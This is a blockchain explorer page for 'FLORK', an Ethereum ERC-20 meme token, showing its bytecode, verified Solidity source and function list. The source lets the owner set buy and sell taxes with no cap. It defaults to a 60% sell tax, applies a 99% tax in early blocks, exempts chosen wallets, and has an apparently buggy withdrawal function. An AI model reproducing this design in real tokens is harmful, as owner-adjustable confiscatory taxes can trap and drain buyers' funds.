Address Contract Partially Verified
Address
0xF0Bd1885929fbD65A09e5Fa837C7fb6688B0c64C
Balance
0 ETH
Nonce
1
Code Size
10192 bytes
Creator
0x60944e11...fF7f at tx 0x66104ec9...3a1c39
Indexed Transactions
0
Contract Bytecode
10192 bytes
0x60806040526004361061014f5760003560e01c806389112cdb116100b6578063a9059cbb1161006f578063a9059cbb1461042f578063c5f956af1461046c578063cc1776d314610497578063dba9d420146104c2578063dd62ed3e146104eb578063f2fde38b1461052857610156565b806389112cdb146103455780638a8c523c1461036e5780638c0b5e22146103855780638da5cb5b146103b05780639036ed4d146103db57806395d89b411461040457610156565b806349bd5a5e1161010857806349bd5a5e1461026d5780634f7041a51461029857806370a08231146102c3578063715018a614610300578063751039fc146103175780637c4c75eb1461032e57610156565b806306fdde031461015b578063095ea7b31461018657806318160ddd146101c357806323b872dd146101ee57806328176f891461022b578063313ce5671461024257610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610551565b60405161017d9190611bb8565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190611c73565b61058e565b6040516101ba9190611cce565b60405180910390f35b3480156101cf57600080fd5b506101d86105ac565b6040516101e59190611cf8565b60405180910390f35b3480156101fa57600080fd5b5061021560048036038101906102109190611d13565b6105cf565b6040516102229190611cce565b60405180910390f35b34801561023757600080fd5b506102406106a8565b005b34801561024e57600080fd5b506102576107f1565b6040516102649190611d82565b60405180910390f35b34801561027957600080fd5b506102826107fa565b60405161028f9190611dac565b60405180910390f35b3480156102a457600080fd5b506102ad610820565b6040516102ba9190611cf8565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190611dc7565b610826565b6040516102f79190611cf8565b60405180910390f35b34801561030c57600080fd5b5061031561086f565b005b34801561032357600080fd5b5061032c6109c2565b005b34801561033a57600080fd5b50610343610a7b565b005b34801561035157600080fd5b5061036c60048036038101906103679190611df4565b610af5565b005b34801561037a57600080fd5b50610383610b94565b005b34801561039157600080fd5b5061039a610c4d565b6040516103a79190611cf8565b60405180910390f35b3480156103bc57600080fd5b506103c5610c53565b6040516103d29190611dac565b60405180910390f35b3480156103e757600080fd5b5061040260048036038101906103fd9190611e21565b610c7c565b005b34801561041057600080fd5b50610419610d23565b6040516104269190611bb8565b60405180910390f35b34801561043b57600080fd5b5061045660048036038101906104519190611c73565b610d60565b6040516104639190611cce565b60405180910390f35b34801561047857600080fd5b50610481610d7e565b60405161048e9190611e82565b60405180910390f35b3480156104a357600080fd5b506104ac610da4565b6040516104b99190611cf8565b60405180910390f35b3480156104ce57600080fd5b506104e960048036038101906104e49190611dc7565b610daa565b005b3480156104f757600080fd5b50610512600480360381019061050d9190611e9d565b610e9a565b60405161051f9190611cf8565b60405180910390f35b34801561053457600080fd5b5061054f600480360381019061054a9190611dc7565b610f21565b005b60606040518060400160405280600581526020017f464c4f524b000000000000000000000000000000000000000000000000000000815250905090565b60006105a261059b610fc2565b8484610fca565b6001905092915050565b60006012600a6105bc919061203f565b629896806105ca919061208a565b905090565b60006105dc848484611193565b61069d846105e8610fc2565b6106988560405180606001604052806028815260200161277360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061064e610fc2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ef9092919063ffffffff16565b610fca565b600190509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106e9610fc2565b73ffffffffffffffffffffffffffffffffffffffff161461070957600080fd5b6000479050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610776573d6000803e3d6000fd5b50600061078230610826565b9050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156107ec573d6000803e3d6000fd5b505050565b60006012905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610877610fc2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610904576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fb90612118565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6109ca610fc2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4e90612118565b60405180910390fd5b6012600a610a65919061203f565b62989680610a73919061208a565b600581905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610abc610fc2565b73ffffffffffffffffffffffffffffffffffffffff1614610adc57600080fd5b6000610ae730610826565b9050610af281611553565b50565b610afd610fc2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8190612118565b60405180910390fd5b8060078190555050565b610b9c610fc2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2090612118565b60405180910390fd5b6001600d60146101000a81548160ff02191690831515021790555043600681905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610c84610fc2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0890612118565b60405180910390fd5b8160098190555080600a819055505050565b60606040518060400160405280600581526020017f464c4f524b000000000000000000000000000000000000000000000000000000815250905090565b6000610d74610d6d610fc2565b8484611193565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b610db2610fc2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3690612118565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f29610fc2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fad90612118565b60405180910390fd5b610fbf816117b8565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611039576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611030906121aa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109f9061223c565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111869190611cf8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f9906122ce565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806112a35750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156112b55760006008819055506114df565b600d60149054906101000a900460ff16611304576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fb9061233a565b60405180910390fd5b600554811115611349576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611340906123a6565b60405180910390fd5b600060075460065461135b91906123c6565b61136591906123c6565b4310156113795760636008819055506114de565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113dc576009546008819055506114dd565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114d357600061143c30610826565b90506012600a61144c919061203f565b610fa0611459919061208a565b8111156114c45760046012600a611470919061203f565b620186a061147e919061208a565b611488919061208a565b8111156114ba5760046012600a61149f919061203f565b620186a06114ad919061208a565b6114b7919061208a565b90505b6114c381611553565b5b600a54600881905550506114dc565b60006008819055505b5b5b5b6114ea8383836118e4565b505050565b6000838311158290611537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152e9190611bb8565b60405180910390fd5b506000838561154691906123fa565b9050809150509392505050565b6000600267ffffffffffffffff8111156115705761156f61242e565b5b60405190808252806020026020018201604052801561159e5781602001602082028036833780820191505090505b50905030816000815181106115b6576115b561245d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561165d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061168191906124a1565b816001815181106116955761169461245d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116fc30600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fca565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611782959493929190612626565b600060405180830381600087803b15801561179c57600080fd5b505af11580156117b0573d6000803e3d6000fd5b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181e906126f2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006064600854836118f6919061208a565b6119009190612741565b90506000818361191091906123fa565b905082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195d91906123fa565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119eb91906123c6565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7991906123c6565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b199190611cf8565b60405180910390a35050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b62578082015181840152602081019050611b47565b60008484015250505050565b6000601f19601f8301169050919050565b6000611b8a82611b28565b611b948185611b33565b9350611ba4818560208601611b44565b611bad81611b6e565b840191505092915050565b60006020820190508181036000830152611bd28184611b7f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c0a82611bdf565b9050919050565b611c1a81611bff565b8114611c2557600080fd5b50565b600081359050611c3781611c11565b92915050565b6000819050919050565b611c5081611c3d565b8114611c5b57600080fd5b50565b600081359050611c6d81611c47565b92915050565b60008060408385031215611c8a57611c89611bda565b5b6000611c9885828601611c28565b9250506020611ca985828601611c5e565b9150509250929050565b60008115159050919050565b611cc881611cb3565b82525050565b6000602082019050611ce36000830184611cbf565b92915050565b611cf281611c3d565b82525050565b6000602082019050611d0d6000830184611ce9565b92915050565b600080600060608486031215611d2c57611d2b611bda565b5b6000611d3a86828701611c28565b9350506020611d4b86828701611c28565b9250506040611d5c86828701611c5e565b9150509250925092565b600060ff82169050919050565b611d7c81611d66565b82525050565b6000602082019050611d976000830184611d73565b92915050565b611da681611bff565b82525050565b6000602082019050611dc16000830184611d9d565b92915050565b600060208284031215611ddd57611ddc611bda565b5b6000611deb84828501611c28565b91505092915050565b600060208284031215611e0a57611e09611bda565b5b6000611e1884828501611c5e565b91505092915050565b60008060408385031215611e3857611e37611bda565b5b6000611e4685828601611c5e565b9250506020611e5785828601611c5e565b9150509250929050565b6000611e6c82611bdf565b9050919050565b611e7c81611e61565b82525050565b6000602082019050611e976000830184611e73565b92915050565b60008060408385031215611eb457611eb3611bda565b5b6000611ec285828601611c28565b9250506020611ed385828601611c28565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115611f6357808604811115611f3f57611f3e611edd565b5b6001851615611f4e5780820291505b8081029050611f5c85611f0c565b9450611f23565b94509492505050565b600082611f7c5760019050612038565b81611f8a5760009050612038565b8160018114611fa05760028114611faa57611fd9565b6001915050612038565b60ff841115611fbc57611fbb611edd565b5b8360020a915084821115611fd357611fd2611edd565b5b50612038565b5060208310610133831016604e8410600b841016171561200e5782820a90508381111561200957612008611edd565b5b612038565b61201b8484846001611f19565b9250905081840481111561203257612031611edd565b5b81810290505b9392505050565b600061204a82611c3d565b915061205583611d66565b92506120827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611f6c565b905092915050565b600061209582611c3d565b91506120a083611c3d565b92508282026120ae81611c3d565b915082820484148315176120c5576120c4611edd565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612102602083611b33565b915061210d826120cc565b602082019050919050565b60006020820190508181036000830152612131816120f5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612194602483611b33565b915061219f82612138565b604082019050919050565b600060208201905081810360008301526121c381612187565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612226602283611b33565b9150612231826121ca565b604082019050919050565b6000602082019050818103600083015261225581612219565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006122b8602583611b33565b91506122c38261225c565b604082019050919050565b600060208201905081810360008301526122e7816122ab565b9050919050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b6000612324601083611b33565b915061232f826122ee565b602082019050919050565b6000602082019050818103600083015261235381612317565b9050919050565b7f4d6178547820456e61626c6564206174206c61756e6368000000000000000000600082015250565b6000612390601783611b33565b915061239b8261235a565b602082019050919050565b600060208201905081810360008301526123bf81612383565b9050919050565b60006123d182611c3d565b91506123dc83611c3d565b92508282019050808211156123f4576123f3611edd565b5b92915050565b600061240582611c3d565b915061241083611c3d565b925082820390508181111561242857612427611edd565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061249b81611c11565b92915050565b6000602082840312156124b7576124b6611bda565b5b60006124c58482850161248c565b91505092915050565b6000819050919050565b6000819050919050565b60006124fd6124f86124f3846124ce565b6124d8565b611c3d565b9050919050565b61250d816124e2565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61254881611bff565b82525050565b600061255a838361253f565b60208301905092915050565b6000602082019050919050565b600061257e82612513565b612588818561251e565b93506125938361252f565b8060005b838110156125c45781516125ab888261254e565b97506125b683612566565b925050600181019050612597565b5085935050505092915050565b60006125ec6125e76125e284611bdf565b6124d8565b611bdf565b9050919050565b60006125fe826125d1565b9050919050565b6000612610826125f3565b9050919050565b61262081612605565b82525050565b600060a08201905061263b6000830188611ce9565b6126486020830187612504565b818103604083015261265a8186612573565b90506126696060830185612617565b6126766080830184611ce9565b9695505050505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006126dc602683611b33565b91506126e782612680565b604082019050919050565b6000602082019050818103600083015261270b816126cf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061274c82611c3d565b915061275783611c3d565b92508261276757612766612712565b5b82820490509291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f8f844ad54c14ecca4fa87010c481d555c5c1de98ab4f6ce168cd1adc987e81f64736f6c63430008120033
Verified Source Code Partial Match
Compiler: v0.8.18+commit.87f61d96
EVM: paris
Optimization: No
FLORK.sol 308 lines
/*
Telegram: https://t.me/florkcoinerc
Twitter: https://twitter.com/florkethcoin
website: florkcoin.pro
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract FLORK is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balance;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _walletExcluded;
uint256 private constant MAX = ~uint256(0);
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 10**7 * 10**_decimals;
//Swap Threshold (0.04%)
uint256 private constant minSwap = 4000 * 10**_decimals;
//Define 1%
uint256 private constant onePercent = 100000 * 10**_decimals;
//Max Tx at Launch
uint256 public maxTxAmount = onePercent * 2;
uint256 private launchBlock;
uint256 private buyValue = 0;
uint256 private _tax;
uint256 public buyTax = 25;
uint256 public sellTax = 60;
string private constant _name = "FLORK";
string private constant _symbol = "FLORK";
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
address payable public treasuryAddress;
bool private launch = false;
constructor(address[] memory wallets) {
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
treasuryAddress = payable(wallets[0]);
_balance[msg.sender] = _totalSupply;
for (uint256 i = 0; i < wallets.length; i++) {
_walletExcluded[wallets[i]] = true;
}
_walletExcluded[msg.sender] = true;
_walletExcluded[address(this)] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount)public override returns (bool){
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256){
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool){
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function enableTrading() external onlyOwner {
launch = true;
launchBlock = block.number;
}
function addExcludedWallet(address wallet) external onlyOwner {
_walletExcluded[wallet] = true;
}
function removeLimits() external onlyOwner {
maxTxAmount = _totalSupply;
}
function changeTax(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {
buyTax = newBuyTax;
sellTax = newSellTax;
}
function changeBuyValue(uint256 newBuyValue) external onlyOwner {
buyValue = newBuyValue;
}
function _tokenTransfer(address from, address to, uint256 amount) private {
uint256 taxTokens = (amount * _tax) / 100;
uint256 transferAmount = amount - taxTokens;
_balance[from] = _balance[from] - amount;
_balance[to] = _balance[to] + transferAmount;
_balance[address(this)] = _balance[address(this)] + taxTokens;
emit Transfer(from, to, transferAmount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
if (_walletExcluded[from] || _walletExcluded[to]) {
_tax = 0;
} else {
require(launch, "Trading not open");
require(amount <= maxTxAmount, "MaxTx Enabled at launch");
if (block.number < launchBlock + buyValue + 0) {_tax=99;} else {
if (from == uniswapV2Pair) {
_tax = buyTax;
} else if (to == uniswapV2Pair) {
uint256 tokensToSwap = balanceOf(address(this));
if (tokensToSwap > minSwap) { //Sets Max Internal Swap
if (tokensToSwap > onePercent * 4) {
tokensToSwap = onePercent * 4;
}
swapTokensForEth(tokensToSwap);
}
_tax = sellTax;
} else {
_tax = 0;
}
}
}
_tokenTransfer(from, to, amount);
}
function manualSendBalance() external {
require(_msgSender() == treasuryAddress);
uint256 contractETHBalance = address(this).balance;
treasuryAddress.transfer(contractETHBalance);
uint256 contractBalance = balanceOf(address(this));
treasuryAddress.transfer(contractBalance);
}
function manualSwapTokens() external {
require(_msgSender() == treasuryAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
treasuryAddress,
block.timestamp
);
}
receive() external payable {}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
buyTax 0x4f7041a5 → uint256
decimals 0x313ce567 → uint8
maxTxAmount 0x8c0b5e22 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellTax 0xcc1776d3 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
treasuryAddress 0xc5f956af → address
uniswapV2Pair 0x49bd5a5e → address
Write Contract 12 functions
These functions modify contract state and require a wallet transaction to execute.
addExcludedWallet 0xdba9d420
address wallet
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
changeBuyValue 0x89112cdb
uint256 newBuyValue
changeTax 0x9036ed4d
uint256 newBuyTax
uint256 newSellTax
enableTrading 0x8a8c523c
No parameters
manualSendBalance 0x28176f89
No parameters
manualSwapTokens 0x7c4c75eb
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address